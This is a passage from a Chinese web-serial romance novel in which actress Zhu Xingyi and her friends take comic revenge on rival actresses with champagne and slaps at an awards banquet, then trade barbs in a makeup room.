戴雨桐嘻嘻笑道：“也恭喜你啊，我先回座位了，拜拜，星星，拜拜，苏小姐。” 苏寄欢颔首。 “你认识的人那么多啊。”苏寄欢低头看了看手里的奖杯说。 祝星亦又跟其他人打了下招呼，转头说：“苏老师你不是要我多和别人交朋友吗？” “哈哈，是啊，挺好的。” 宴会进行时，祝星亦寻到齐漫姝的身影，正欲前往，苏寄欢也跟了过去。 “好了，苏老师，我们先去玩了。”祝星亦寻到人便朝苏寄欢轻轻挥了挥手。 苏寄欢忍不住轻声说：“别喝太多，会醉的。” 说着，她对上祝星亦的目光。 祝星亦一愣神儿，思绪飘回到那次酒后的热吻。她的脸颊瞬间泛起一抹红晕，垂首应道：“嗯，知道了。” 齐漫姝兴奋地拉着祝星亦往一处奔去：“大星，我带你见我们华影的同事。” 待到了众人面前，齐漫姝声音清脆响亮：“我把大星带来啦！” “你好啊祝星亦。”一个面容和善的艺人率先开口，眼中带着友善的笑意。 “你好你好。”祝星亦礼貌地回应。 “祝星亦，你和苏小姐的《寄明月》真的好火啊！我妈都在追！” “星亦，我还会唱你们ost呢！《千千结》真的好好听！”另一位艺人也赶忙附和，还忍不住哼唱了几句。 “啊哈哈，谢谢大家的喜欢。制作组很用心，我也很感谢出演的机会。”祝星亦一脸诚恳。 众人正聊得热火朝天，祝星亦瞥见一个熟人，而那人也恰好在此时将目光投了过来。 齐漫姝像是发现了新大陆一般，拖着长长的音调“呦”了一声：“宋姿缈，吼～” 那边的宋姿缈远远地招手，祝星亦与齐漫姝相视一笑，而后两人一同朝着宋姿缈走去。 宋姿缈之前一直在剧组忙碌，这些日子才得闲。 见祝星亦过来，她赶忙撇着嘴调侃：“喂喂祝星亦，你和苏寄欢小姐……” “她俩谈了。”齐漫姝迫不及待地凑过去说。 宋姿缈像是听到了什么惊天大秘密，急切地问：“真谈了！” 祝星亦慌乱地用两手捂住两个人的嘴巴，急道：“喂，闭嘴，别当着我面造谣，我和她没谈。” 环顾四周，祝星亦心急如焚，快速拉着两人到一个相对安静的角落，生怕这两人再说出什么惊掉众人下巴的话来。 三人在小圆桌旁依次落座，宋姿缈满脸狐疑，那表情仿佛在说“我可不信你的鬼话”：“你别说谎了，你俩早就谈了，去年在《姐敲门》综艺上我就知道了，说谎精！” 祝星亦又气又无奈，轻皱眉头嗔怪道：“服了，你净会编排人！” 宋姿缈却不以为然，挺直了腰板，得意洋洋地说：“我跟你讲啊祝星亦，我潜伏到你俩的cp群里，获得了最新的资料，你俩……” 祝星亦像看怪物一样看着宋姿缈，满脸不可思议：“你有病吧？你潜伏到我和苏老师的cp群？你有什么事问我不就行了？” 宋姿缈仰起头，下巴微微扬起，哼笑道：“这能一样吗？这根本不一样。我要是问你和苏小姐有没有接吻，你会说接了吗？” 齐漫姝听到这话，惊得差点从椅子上跳起来，声音都拔高了几个度：“接吻？真接啦？！” 祝星亦见周围人多，急忙伸出食指放在嘴边，示意两人小声点。 宋姿缈却不依不饶，追问道：“到底接没接？” 祝星亦无奈地点点头，脸上泛起一丝红晕：“接了……” 齐漫姝双手捂住嘴巴，眼睛瞪得大大的：“我劁！真谈了！你还骗我！” 祝星亦赶忙摆手，硬着头皮解释：“接吻了，但没谈。” 宋姿缈得寸进尺，坏笑着问：“不会也做了吧？” 祝星亦像被踩了尾巴的猫一样，急忙说：“没有啊，没到那一步。” 宋姿缈挑了挑眉毛，继续追问：“那就是快到了？” 祝星亦急得直跺脚，压低声音说：“我那只是为了卖cp。” 齐漫姝满脸疑惑，歪着头问：“然后牺牲那么大？” 祝星亦感觉自己百口莫辩，无奈地说：“喂，现在人多，我们有空再聊这个事好不好？” 宋姿缈像是没听到祝星亦的话一样，突然附在祝星亦耳边，神秘兮兮地问：“所以苏寄欢小姐的嘴到底好不好亲？” 祝星亦紧张地攥着手指头，声音如同蚊蝇一般：“吻得太过火，忘了……” “过火？！”齐漫姝被这个词惊得差点叫出声来，随后又好奇地压低声音问，“你们除了接吻，还干什么了啊？” 祝星亦犹豫了一下，还是凑近两人，在她们耳边轻轻说了几句。 “我劁！”齐漫姝惊得捂住嘴巴。 “啊！”宋姿缈也吓得捂住耳朵。 两人的目光像是被磁石吸引一般，同时盯着祝星亦的胸口。 祝星亦又羞又恼，急忙用双手捂着胸，“你们两个能不能正常一点？” 齐漫姝瞪大了眼睛，难以置信地说：“正常？啊？正常？她都嗦你奈。子了，你还能正常？” 第79章 我干死她们 祝星亦迅速地左右四顾，恨不得把她嘴缝上：“劁！别那么大声！我……其实也抓了她的……啧，可能就是酒喝多了，脑袋昏昏沉沉的，就……太上头了当时。” 可是一想到后来酒店里的那番[不在意教学］，她们明明没有喝酒，却还…… 祝星亦依旧低着头，眉头轻皱，牙齿轻咬着下唇，思来想去，最终还是认同了苏寄欢的[教学］说辞。 苏寄欢还是太敬业了。 “别说这个了，不然我都不知道怎么和她相处了。”祝星亦像是急于逃避这个话题，她猛地抬起手，手指直直地指着宋姿缈说：“我警告你，你不许在那个什么cp群里面说这些东西。还有你。” 她又迅速地将手指转向齐漫姝，眼中透着几分严肃：“你也不许说，不许多想，不要再问。” 两人赶忙点头，宋姿缈眼珠子一转，脸上露出一丝狡黠的笑，她凑近祝星亦，调侃道：“喂，祝星亦，苏小姐的36D好摸吗？” 祝星亦像是被这话惊到，她瞪着宋姿缈，片刻后又像是害羞般地低下头，双手不安地绞在一起，声音低得像蚊子叫：“她的……嗯……太大了，我手小，抓不住，而且当时比较混乱，没记得什么感觉。” “啧，没出息！”齐漫姝双手抱胸，脸上满是恨铁不成钢的神情，大声怒骂道：“她嗦你你不嗦她，摸一下还能忘！你这当什么1啊，你未免也太丢人了吧！” 祝星亦张了张嘴，欲要反驳，眼角的余光忽然瞥见蒋萱琪等人。 在[苏盛］艺人聚集处，蒋萱琪和李安宥、裴元龄几人正站在一起热烈地说着话，程偌菲则在另一处和其他人愉快地聊天。 祝星亦的打心底觉得程偌菲比那三人好多了，尽管她也看不惯程偌菲。 好吧，她承认，她很酸程偌菲。 这女人到底是苏寄欢[心爱］的员工，要风得风，要雨得雨，又被整个[苏盛］好生对待，论其身份和威望，比祝星亦高了不知道多少。 不过，祝星亦虽说对程偌菲酸得很，面子上会过得去。 打狗还要看主人呢，程偌菲是苏寄欢手下的得力干将，祝星亦看在苏寄欢的面子上也不会使些恶劣的手段。 但祝星亦不会心慈手软，把程偌菲踩在脚下是她短期的目标。 只是蒋萱琪几人…… 这几人蔫儿坏，祝星亦暂时没想到什么报复的手段，只能先搁置着。 见祝星亦脸色阴沉得厉害，齐漫姝轻轻拍了拍她的肩膀，问：“咦惹，你怎么了？” 祝星亦重重地叹口气，把自己之前被蒋萱琪揍的事一五一十地说出来。 听后，宋姿缈眼睛一下子瞪圆，满脸怒容，大声道：“不是吧！你这么没出息？你就不会打回来吗？？” 祝星亦眉头紧蹙，无奈地说：“我打的话，我让苏老师的面子往哪搁？” “面子？哈？”宋姿缈不屑地翻了个白眼，将手中的酒杯重重地放在桌上，双手叉腰，“你给你的苏老师留面子了，你的面子呢？你要时刻记住，你的面子比天大。哼，你真是没用，看我的。” 宋姿缈忙起身挺直脊背，像一只高傲的布偶猫般走到蒋萱琪几人那处。她走到蒋萱琪等人面前，嘴角挂着一丝淡淡的微笑，轻声说了些什么，然后又从容地走到一旁，朝着祝星亦和齐漫姝二人招了招手，示意她们出来。 祝星亦满心疑惑地走上前，问：“你跟她们说了什么？” “要她们等下去露台那里。”宋姿缈漫不经心地说。 祝星亦更加疑惑了：“干嘛？” 宋姿缈双手一摊，理所当然地说：“当然是要你打回来啊，我把她们约到那里，然后你过去打她们一顿。” “好幼稚。”祝星亦摇了摇头，她对这种行为有点无语。 宋姿缈双手叉腰，气鼓鼓地说：“拳头才是真理，她们怎样对你，你就怎样对她们啊。再说，你马上就和苏小姐在一起了……” “没影儿的事儿！”祝星亦急忙比了个[×］的手势，有些慌乱地说，“你可别乱说。” 宋姿缈哼哼唧唧地说：“我不管，喂，老齐，到时候带上香槟，祝星亦，你不对付我来对付，嘁，我真不明白了，你当初跟我吵架的气势哪去了？” 祝星亦着急地解释：“这不一样，她们是苏老师的员工，我不能……” “她自己都没调节好你和员工的关系，你还顾着她干什么？她要是懂事，早就平衡了。”宋姿缈一脸看透一切的表情，撇了撇嘴说。 祝星亦更加慌忙地说：“不，她只是……” 齐漫姝也走上前，“你怎么还为她说话？她本来就应该想到和你成为师徒会引起其他人的不平衡，是她没做好这老师，是她没有调节好你和她员工的关系。而且她也不关注你的情绪，都不知道你被欺负了。” 说着，齐漫姝伸出手，轻轻揉揉祝星亦的脸，叹着气说：“还是我们好，我们知道你被欺负了。你看宋小喵，还勇敢为你出气。” “什么宋小喵？你别乱给人起外号。”宋姿缈不乐意道。 “这外号难听吗？这外号老好听了。”齐漫姝嘿嘿笑着，眼睛亮晶晶的，“喂，宋小喵，要不你跟我卖cp吧？我想一想cp名啊……” 想了会儿，齐漫姝像是突然有了灵感，眼睛放光，兴奋地说：“嘿嘿，就叫姿深漫画家～或者叫莫名齐缈，怎么样？我很有起cp名的天赋吧？” “也太难听了吧……”宋姿缈一脸嫌弃，冷哼一声，“另外，你别想跟我卖cp，就你这人气……” “你也凉凉的，别在这挤兑我。”齐漫姝笑嘻嘻地勾住宋姿缈的脖子，“我做1，你躺0也行的，我技术超好～” “滚！你才是0。”宋姿缈涨红了脸，用力一掌推开她，“谁做0谁丢人，好了，你别扯开话题。” 宋姿缈看向祝星亦，恨铁不成钢道：“你苏老师都对你不管不问，就别考虑她了。” 祝星亦拧紧眉毛，“她从来都没有对我不管不问，你们别这样说她。” 齐漫姝故意怪声怪气地说：“哎哟喂，大星啊，你别太爱了。” “我没有。”祝星亦连忙否认。 宋姿缈瞥她一眼，“有没有自己心里知道，老齐，走，先顺点香槟。” 她提着裙子站到一旁，又对祝星亦说：“你这个胆小鬼，居然没有跟全世界作对的勇气，白瞎你这臭脾气了。我要是你，我早就扇那几个人几百巴掌了。” 齐漫姝也跟着嘲讽：“她啊，连玷污高岭之花的勇气都没有，真是没出息。” “不敢玷污……”宋姿缈挑起一侧眉，感觉这事不太妙，“祝星亦，你不会心甘情愿做0吧？” 齐漫姝呶呶嘴：“我前些日子才劝她不要做0呢，总算是听些话了，开始A上去了。” 宋姿缈翻了个白眼冷哼一声：“敢做0就别和我们说话，被压丢人现眼啊。” “我……” “你爱怎样怎样，我们要去掰头了。”宋姿缈扬扬下巴，“走，老齐。” “走！” 看两人去顺香槟，祝星亦抿着嘴，沉默不语。 露台—— 齐漫姝和宋姿缈手提香槟朝露台走去，蒋萱琪三人早已在露台处候着，她们仨站在那有一搭没一搭地聊着天。 露台偏僻得很，周围绿植繁茂，静谧的氛围仿佛将此处与外界的喧嚣彻底隔绝，且没有监控，正是个“行事”的好地方。 蒋萱琪眼尖，率先瞅见两人前来，她上上下下打量着这二位，目光在她们身着的高定礼服上停留片刻，她扯出一抹和善的笑，轻声说：“约我们到这里，有什么事？” 宋姿缈不紧不慢地开口：“也不是什么大事，就是一些没有完美解决的小事。” 李安宥整个人斜倚在露台的栏杆上，懒懒散散模样，听到这话，眼皮都没抬一下，只是拖长了音调问：“什么小事？” 宋姿缈下巴微微扬起，直言道：“你们之前是不是跟祝星亦有过节？” 裴元龄像是听到了什么好笑的事情，眉毛高高挑起，反问：“祝星亦？她可是我们苏总的学生，我们哪敢和她有过节？” 裴元龄语气中的阴阳怪气，仿佛能渗出水来。蒋萱琪也跟着装模作样地长叹一声，一只手抚着胸口，哀怨道：“是啊，她被我们苏总捧得不得了，苏总跟被下了药似的，什么都给她，我们可不敢惹她。” 李安宥站直了身子，双手抱胸，脸上带着一丝嘲讽的轻笑，“而且你不觉得她个人脾气很大吗？” 说着，她像是想起了什么有趣的画面，“我看过《姐敲门》综艺，那里面的祝星亦啊，脾气大不说，人又很假。哼，整天装可怜，装无辜，是不是啊宋姿缈？” 蒋萱琪也跟着来了劲儿，伸出一只手翻看美甲，悠悠说：“都说她是一只漂亮的小狐狸，嗯哼，是狐狸不假，可惜是个狐狸精啊，也不知道靠什么手段获得了我们苏总的芳心。” 裴元龄在一旁捂嘴低声笑笑，“既然是狐狸精，肯定是靠一些下三滥的手段咯。我们苏总也是太单纯了，轻易被这个狐狸精迷得颠三倒四。” 一提到苏寄欢，蒋萱琪像是被点燃的炮仗，噼里啪啦地吐槽起来：“就是就是，苏总跟没见过美女似的，祝星亦不就脸蛋儿好看身材好，除了这些她还有什么？只剩装腔作势了。” “是啊。”李安宥在一旁附和着，“也就长得漂亮罢了，穷酸味儿几瓶香水都盖不住。《寄明月》那个本子，那女的不知道求了苏总多少次才求来的。” “也怪我们苏总善良，但我真想不明白了，那个狐狸精到底给苏总下了什么药啊！”裴元龄不满道，“至于这么着迷吗？什么都给，什么都奉上，苏总是有什么把柄在她手上吗？” 蒋萱琪撇嘴道：“看她这架势，当初那个选秀的冠军都不知道怎么得来的，怕是勾搭……” “没必要这样说吧？”宋姿缈听到这些诋毁的话，打断她们，“人家确实是凭实力得冠军的，你要是不信，你可以看看那个节目。还有……她装？哦，她确实装，但我觉得她并没有做错什么。难道你们不装？” 宋姿缈之前确实很反感这个穷鬼，但也不得不承认，这个穷鬼有两把刷子。 《姐敲门》综艺录完后她便把祝星亦的那个选秀从头到尾看了一遍，看完她感叹，祝星亦真的是天选爱豆。 那档选秀里，祝星亦有些拘谨，和真实的祝星亦相差太大。 装。宋姿缈知道祝星亦肯定是在装。 选秀节目里，祝星亦很青涩，虽然也有锋芒，不如她认识的祝星亦自信锋利。 但这个青涩的祝星亦站在舞台上就完全不一样了，宋姿缈感觉祝星亦全身上下都在发着光。 听说祝星亦才当了两个月练习生，宋姿缈对练习时长没什么概念，掰着手指算了算，就两个月，也太短了。 可短也没挡住祝星亦的光芒。 有力的舞蹈，零失误的全开麦舞台，自信的模样……是整个《青春理论》节目里最闪耀的人。 谁要是说这种实力的人是靠不正当手段得第一的，宋姿缈第一个不同意。 至于装嘛。呵。宋姿缈见了这些人，还觉得祝星亦不够装呢。 这都是什么牛鬼蛇神？ 蒋萱琪一听这话脸上一阵白一阵红，恼羞成怒地吼道：“开玩笑，我们装什么了？怎么，你跟她是一势的？” 宋姿缈刚要开口回击，只见齐漫姝眼中闪过一丝决然，双手高高举起香槟，像举起了战斗的武器。 “啪”的一声巨响，瓶塞崩飞出去，她手指按一半瓶口，酒水如同愤怒的炮弹直直地朝着蒋萱琪射去，紧接着她手腕一转，香槟如同一挺疯狂扫射的机关枪，朝着三人一通喷射。 瞬间，露台上响起一阵此起彼伏的惨叫声。 “啊啊啊！你干什么！”蒋萱琪被香槟崩得惊慌失措，她像只没头的苍蝇到处乱窜，试图躲避这突如其来的“攻击”。此刻她全身都被酒水湿透，精心打理的头发也凌乱地贴在脸上，狼狈至极。 李安宥和裴元龄也未能幸免，她们被香槟喷得睁不开眼，双手在身前乱舞，嘴里不停地尖叫着。 “喂！我还没嘴遁完呢！”宋姿缈被齐漫姝这突如其来的举动惊到，大声喊道：“说好的要我先嘴遁的！” “嘴个屁！快开大！”齐漫姝一边喊着，一边迅速打开另一瓶香槟，脸上带着疯狂的兴奋劲儿，“你别磨叽，快！就当庆祝大星得奖了！” 宋姿缈见状，也不甘示弱，赶忙手忙脚乱地打开一瓶香槟加入了这场“战斗”，她朝着那三个女人尽情地喷洒着香槟。酒水在灯光下闪烁着晶莹的光芒，如同一场华丽而又疯狂的“香槟雨”。 看着那三个坏女人狼狈的模样，宋姿缈心里别提多痛快了，她一边滋着人，一边嘴角上扬，露出一个得意的笑容，哼笑道：“喂，咱俩可还有赌注呢，要不要帮我扯平一下？” “什么赌注？”齐漫姝抽空回了一句，手中的香槟却依旧没有停下喷射的动作。 “赌祝星亦会不会当影后。” 齐漫姝听到这话，脑海中浮现出祝星亦的脸，她哈哈大笑起来：“怎么，你也认为她能当影后了？” 宋姿缈滋完一瓶又迅速拿起一瓶，动作干脆利落，她仰着下巴，勾唇道：“我可不和碌碌无为的人当朋友，我祝福她能当影后，把这群看不起她的人都踩在脚下才好。” “哈哈哈哈哈！”齐漫姝仰天大笑，笑声在露台上回荡，“很好！祝大星一定会把这群人通通踩在脚下！” 华灯初上，城市的夜色被霓虹灯渲染得五光十色，五个女人的尖叫声交织在一起，仿佛要将这宁静的夜晚彻底撕碎。 混乱之中，一声厉喝如平地惊雷般乍起：“喂！” 宋姿缈寻声转头，只见祝星亦身姿笔挺地出现在那里。宋姿缈眉头瞬间拧成了一个“川”字，语气不善地质问道：“你干什么？你想阻止我们吗！” 蒋萱琪抬眼瞧见祝星亦来了，心里明白这三人是一伙的，当下气得脸颊涨红，手指颤抖地指向祝星亦：“好你个祝星亦，你……” 然而她的话还未完全脱口，祝星亦便以迅雷不及掩耳之势抬手，“啪”的一声脆响，一巴掌*重重地甩在了蒋萱琪的脸上。 刹那间，空气中弥漫着祝星亦掌心残留的香水味。 蒋萱琪只觉眼前金星乱冒，脑袋嗡嗡作响。她瞪大了双眼，满眼都是震惊，似乎根本不敢相信祝星亦会真的出手打她。 “这一巴掌，是我还你的。”祝星亦扬起下巴，眼神冰冷地俯视着蒋萱琪。 蒋萱琪怒火中烧，通红的双眼死死地盯着祝星亦，欲要扑上去与祝星亦拼命。 祝星亦却身形一闪，灵活地扭动身子，再度抬手。 “啪”的一声，又一巴掌狠狠地扇在了蒋萱琪的另一边脸上，祝星亦嘴角勾起一抹嘲讽的弧度：“呵，买一送一，你得谢我大恩大德。” 李安宥在一旁再也看不下去了，她和裴元龄对视一眼，两人心领神会，毫不犹豫地朝着祝星亦冲了过去。祝星亦却毫无惧色，眼眸中闪过一丝狠戾，抬手一人赏了一巴掌。 “你有病啊祝星亦！”李安宥被打后，愤怒地大吼起来。 齐漫姝瞧着祝星亦这副嚣张的架势，觉得她A爆了。 这什么？这简直是女王！女王就该这样！ 齐漫姝上前一步，大声冲李安宥喊道：“打你又怎么了？被她打都是你的福气！” “我们还怕你爽到呢！”宋姿缈也跟着附和道，脸上带着一丝快意。 “祝星亦！”蒋萱琪彻底被愤怒冲昏了头脑，她歇斯底里地吼着，不顾一切地要去对祝星亦动手。 就在这时，祝星亦突然呲的一声打开了手中的香槟，金黄色的酒水如喷泉般崩了出来。她噙着冷笑，声音陡然提高：“我等你个大爷我等，看我不干死你！” “啊——” 齐漫姝和宋姿缈见状，像是被祝星亦的疯狂所感染，异口同声地喊道：“干死你！” 一场混战就此爆发，露台上的桌椅被撞得东倒西歪，酒杯摔碎在地，酒水肆意流淌，一片狼藉。 也不知过了多久，这场混乱终于渐渐平息。祝星亦瞅准时机，趁着那几人还未反应过来，拉着齐漫姝和宋姿缈两人迅速逃离了现场。 三人一路狂奔，途中恰好碰到一位保洁阿姨。祝星亦匆忙掏出准备好的几张钞票塞到保洁阿姨手中，脸上满是歉意：“抱歉了阿姨，露台那边辛苦你打扫一下。” 说完，也不等保洁阿姨回应，便拉着两人继续飞奔。 好不容易跑远了，三人靠在墙边大口喘着粗气。看着彼此狼狈不堪的模样，头发凌乱，衣服上沾满了酒水，湿漉漉地贴在身上，突然，三人像是心有灵犀一般，哈哈大笑起来。 祝星亦满脸兴奋地举起手，大声喊道：“香槟三姐妹！” 齐漫姝和宋姿缈相视一笑，默契地叠上彼此的手掌，异口同声地高呼：“友谊万万岁！” “你们……” 突如其来的声音打断了三人的兴奋。 祝星亦匆忙转过身子，见来人是程偌菲。 “你们怎么成这副模样了？”程偌菲一脸忧色地快步走来，“等下还要拍大合照呢，你们这个样子……” 三人的妆容全花了不说，礼服全都湿透了，尽是些酒渍。 齐漫姝这才想到还要拍合照，“对啊，等下拍照该怎么办？” 程偌菲叹道：“没事，不慌，我打电话给附近的礼服店。你们先去妆造厅，我带你们去。” 程偌菲带三人去妆造厅补妆，打了个电话后跟三人说：“礼服马上就送到了，你们先等等。不过……你们这是怎么弄的？” 程偌菲看向祝星亦，祝星亦卸完妆嘟囔道：“就，今天得奖了，闹嗨了。” “哦，也是。”程偌菲能理解祝星亦的开心，弯着眼睛笑说：“还没亲口跟你说恭喜呢。” “谢谢啦。”祝星亦卸干净后坐下，开始打底，“不过说真的，今天确实开心，这个奖算是我当演员以来第一个奖。” 程偌菲坐在祝星亦身旁盯着这张素面朝天的脸看了看，点点头道：“以后肯定会得更多奖的，你转型很成功，演戏也很有天赋。” 祝星亦不觉得自己的天赋占比大，她的演技纯属是前世的努力积累的。 做完保湿，祝星亦透过镜子看到程偌菲正在观察她，转过头对上程偌菲的眼。 程偌菲愣了下，抿着唇颔首，把目光移到一旁。 “程偌菲？你怎么跟她们一起？” 蒋萱琪不善的声音在化妆厅门口响起。 第80章 她飞奔向我 三人趾高气扬地走过来，程偌菲只是淡淡地瞥了她们几眼，随后便转头跟祝星亦轻声道：“别理她们，你先化妆，衣服马上就到了。” 祝星亦眼中闪过一丝疑惑，低声问：“你和她们关系很不好，是不是？” “也不算。”说罢，程偌菲起身迈步走到蒋萱琪面前。看到蒋萱琪浑身上下都是酒水，她蹙眉问：“你们怎么也这么狼狈？” 李安宥瞪了眼正在补妆的几人，从鼻子里重重地哼出一声：“我们怎么弄的，你要问问她们才是。” 接着她上上下下打量了几眼程偌菲，下巴微微抬起，带着挑衅的意味说：“怎么，你和她们是一伙的？” 程偌菲不屑地轻笑一声，不急不缓地说：“如果单凭两三句话就判定两个人的关系，我会觉得那个人大脑发育不完全。” 裴元龄听了这话脸上一阵白一阵红，气愤地说：“你什么意思？” “没什么意思，字面意思。”程偌菲神色未变，淡淡道。她边说边提起裙子，侧着身子伸出手拿起手机拨打电话：“你们要换衣服的话报一下尺码，先在这里补妆，稍等换衣服。” 她随意瞄了一眼李安宥的衣裙，眼中的嫌弃更甚，冷淡地说：“搞成这副模样出现在镜头面前，只会给[苏盛］丢人现眼。” “你！”李安宥气得满脸通红，欲要说什么，却被蒋萱琪急忙拉住。 蒋萱琪满脸无奈，咬了咬嘴唇，轻声说：“好了，先补妆，她说得对，别给苏总丢人。”说着便拉着李安宥和裴元龄一行人在另一旁坐下。 祝星亦安静地坐在化妆台前化着妆，目光时不时飘向那几人。 这几个人对程偌菲的恶意貌似更大些。 蒋萱琪看向程偌菲，小声嘟囔道：“有些人被捧久了，就真以为自己是主人了，其实还是苏总脚下的狗。” 程偌菲坐在祝星亦身边，头也不抬，眼睛紧紧盯着手机屏幕，“我是狗你们不也是？这么酸，难道我吃的是骨头，你们吃的是屎？” 蒋萱琪听到这话，气得双手猛地一拍桌子，手中的卸妆棉被震落在地，她大声吼道：“你有病吧！” “诶，还真是。都是狗还这么酸别人，不会真的在羡慕别人吃骨头你吃屎吧？”祝星亦懒洋洋地往脸上拍粉底，调侃道，“你前段时间拍了个什么剧来着？男主长得跟泡了三百天福尔马林的猴子似的，看你小号一直在吐槽他，肯定是恶心坏了。” 程偌菲听到这话，停下手中看手机的动作，缓缓抬起头看向祝星亦。 祝星亦察觉到蒋萱琪的怒气，身体往后错了下身子，脸上的笑容更加灿烂，冲脸色不太好看的蒋萱琪笑道：“你小号骂程偌菲被她粉丝举报，还被禁言一周，是不是可不爽了。” 蒋萱琪再也忍不住，“蹭”地一下站起身来，双手紧握咬牙切齿地说：“祝星亦我看你是找抽！” 她妆卸到一半的脸显得有些滑稽，眼影和口红糊在一起。 祝星亦瞥了她一眼，嗤笑出声。 程偌菲也迅速站起身警告道：“蒋萱琪你再不赶紧补妆，待会儿过去拍照小心被苏总问候。” 一听“苏总问候”四个字，蒋萱琪像是被施了定身咒一般立马站住脚步，她咬着牙瞪了程偌菲一眼，“程偌菲，你该不会想巴结祝星亦这个狗东西，然后讨苏总欢心吧？” “巴结她，那倒算不上。”程偌菲双臂交叉抱在胸前，神情冷漠，“倒是你们对她也未免太不客气了，怎么，她不是[苏盛］的人也要被你们找麻烦吗？” “那你倒是问问她干了什么好事儿！”裴元龄满脸通红，眼睛瞪得大大的，生气地说，“我们这一身都是她搞的，我们礼服是品牌方给的，她这……” “那你就让她赔钱。”程偌菲扬起下巴，不甚在意，“但她估计会找苏总报销，至于你们到底发生了什么矛盾，我想苏总很大的可能是站在她身边。” 看着三人的脸青一阵白一阵儿，程偌菲觉得有趣极了，嘴角上扬笑道：“你们也知道，苏总对她很是溺爱，就算她杀人放火，苏总都能保她，何况你们这几条裙子。” 祝星亦停下扑粉的手，惊讶地看着程偌菲。 这叫什么话？什么叫杀人放火啊？这未免太夸张了。 “蛇鼠一窝。”李安宥冷哼一声，然后转头对蒋萱琪说：“琪琪，别理她们，以后走着瞧。” 齐漫姝听到这话，“啪”的一声拍响桌子，大声喊道：“走着瞧就走着瞧，你以为星星怕你啊。” 说着，她侧过身子，伸出手指着那三人，提高音量说：“再有下次，打的还是你们！” 宋姿缈也站起身来，双手紧紧攥着拳头大声说：“花花世界迷人眼，没有实力别赛脸。” 齐漫姝附和道：“天气热脾气躁，星姐不笑你别闹！” 李安宥被气得浑身发抖，狠狠地翻了个白眼，骂道：“劁！有病吧！三个疯子！” 礼服拿来后几人换上，虽说没有走红毯的原妆造好看，但起码不用狼狈地出现在合照上。 几人走出化妆厅往宴会厅赶，祝星亦与程偌菲一同走着。 祝星亦微微欠身，礼貌地说：“谢谢你啊，不然我们都不知道怎么办了。” “顺手帮忙，不必记挂。”程偌菲颔首道。 想到程偌菲说的那番话，祝星亦犹豫了一下，咬了咬嘴唇，解释道：“偌菲，苏老师并没有溺爱我，我若是杀人放火，她肯定会把我抓起来。” 程偌菲停下脚步转过头看着祝星亦，片刻后笑出声来，“你还真是和苏总说的一样。” 祝星亦一脸疑惑，问道：“什么？” “你很可爱。”程偌菲抿了抿嘴唇，深深地望了祝星亦几眼，接着摆了摆手，说：“不用管这些了，先拍照。” 祝星亦眼睛一亮，热情地邀请道：“那我们站一起。” 齐漫姝在一旁附和道：“是啊，咱们四个站一起。” 程偌菲点了点头，说：“行。” 宴会还没停，四人围在一起聊天。祝星亦伸头看了看远处，正好与蒋萱琪的目光对上，蒋萱琪狠狠地瞪了她一眼。 祝星亦弯唇微笑，漂亮的桃花眼挑衅似的眯起。 “她打你？”程偌菲听齐漫姝讲完事情经过，不禁倒吸一口凉气，原本平静的脸上浮露出一抹愠色，双手紧紧握住，说：“那你怎么不跟苏总说呢？这不是件小事。” 祝星亦收回思绪，轻轻地叹了口气，回道：“当时怕给苏老师添麻烦，便没说。” 程偌菲眉头紧皱，继续问道：“这都那么久了，你从未跟她讲过吗？” 祝星亦摇了摇头，说：“不讲这个了，我也惩罚她了，扯平了。” 她今日算是撒气了，也不想再管蒋萱琪的事，看着程偌菲说：“你也不用跟苏老师说，这种小事没必要麻烦她。至于赔裙子……” 程偌菲截断她的话，认真地说：“她们的裙子很贵的，我劝你找苏总报销。那些都是最新款高定，你来赔的话受不住那个价钱。” 程偌菲马上说了个价钱，祝星亦听后笑道：“行，让她帮忙报销。” 看祝星亦有些轻松的模样，程偌菲偏头道：“你不怕她怪你吗？” 祝星亦愣了愣，心想也是，苏寄欢肯定会怪罪她。 她还未回答什么，程偌菲又说：“怪你也没事，她不会给你太多惩罚，你可以恃宠而骄。” 祝星亦重复道：“恃宠而骄？” 程偌菲挑了挑眉，语气轻快地说：“是啊，你不必挂心她会怎么责罚你，毕竟她不会真心怪罪你。她对亲近的人就是这样，表面会说你几句，但其实是为了你好。” 祝星亦咬着唇，低下头不说话。 程偌菲好像很了解苏寄欢。 “她真的很好，只是外表冷淡了些。”程偌菲说着，像是陷入了回忆，顿了顿又说：“但她的情绪，一般人琢磨不透，如果不深入探究，没人知道她到底在想什么，没人知道她喜欢谁，讨厌谁。可是只要在她身边，就会感到安心，那样就够了。” 祝星亦有些蔫儿，跟着附和两句：“是啊，她是这样的。” 程偌菲脸上露出一丝疑惑，问道：“嗯？你也不知道她喜欢谁吗？” “这我哪里知道。” 程偌菲侧着身子，静静地看了祝星亦许久，片刻后扬眉：“好吧，是挺难猜。” 戴着工牌的工作人员招呼众星去拍照，四人在人群中穿梭，齐漫姝眼睛一亮，指着几个空位道：“我们站那里，虽然有点靠边，但那边的花好看，C位留给那些大腕儿抢。” 祝星亦点了点头应道：“行。” 但想到程偌菲是四人中腕儿最大的，便主动问：“偌菲，你去哪里站？” 程偌菲仰头望着人群，眼神有些焦急地四处张望，她没看到苏寄欢在哪。听祝星亦问，便收回目光，点了点头说：“我和你们一起。” “好。” 站好后，程偌菲倾身往左右两边看，还是没看到苏寄欢的身影。 哪去了？程偌菲心绪不宁，双手不自觉地揪着裙子。 众星在一处专属拍照的台阶处，十层台阶，台阶两端是鲜花，布置得十分精美。Pans官方想拍出群像的魅力，但现场上百名艺人不好管理和排位置，只能等大家站好了才能开始拍摄。 祝星亦看到程偌菲有些心不在焉，便轻声问：“偌菲最近忙吗？” 程偌菲回过神儿说：“还好，过段时间才进组。” 祝星亦忙道：“那过几天一起逛街怎么样？我请你吃饭。” “好啊，那我就不客气了。” 祝星亦望了一眼程偌菲，轻挑起眉头。 齐漫姝听到这话，急忙拉住祝星亦的胳膊，晃来晃去撒娇地说：“我也要和你一起逛街，我们好久没有一起逛街了，好想念我们在《寄明月》剧组偷偷跑出去吃关东煮的日子。” 宋姿缈在一旁抱着臂，扬了扬眉，大声说：“喂，最好加上我。我可是你复仇路上最硬的刀，你也得请我吃饭。” 祝星亦有些无奈地笑了笑，说：“当然了，不过……我这次只想和偌菲一起，你们，改天。” 齐漫姝虽然有些失落，但还是说：“也行。” 宋姿缈本要反驳，看齐漫姝点头同意了，便也不再说什么，只是哼了一声说：“那咱俩逛街。” 齐漫姝故作嫌弃地说：“那我不要，除非你求我。” 宋姿缈拧着眉头道：“给脸不要脸，不去就不去。” 齐漫姝急忙晃着她的胳膊说：“哎呀，开个玩笑嘛，你看你也太小心眼了。” 宋姿缈不屑地“嘁”了一声。 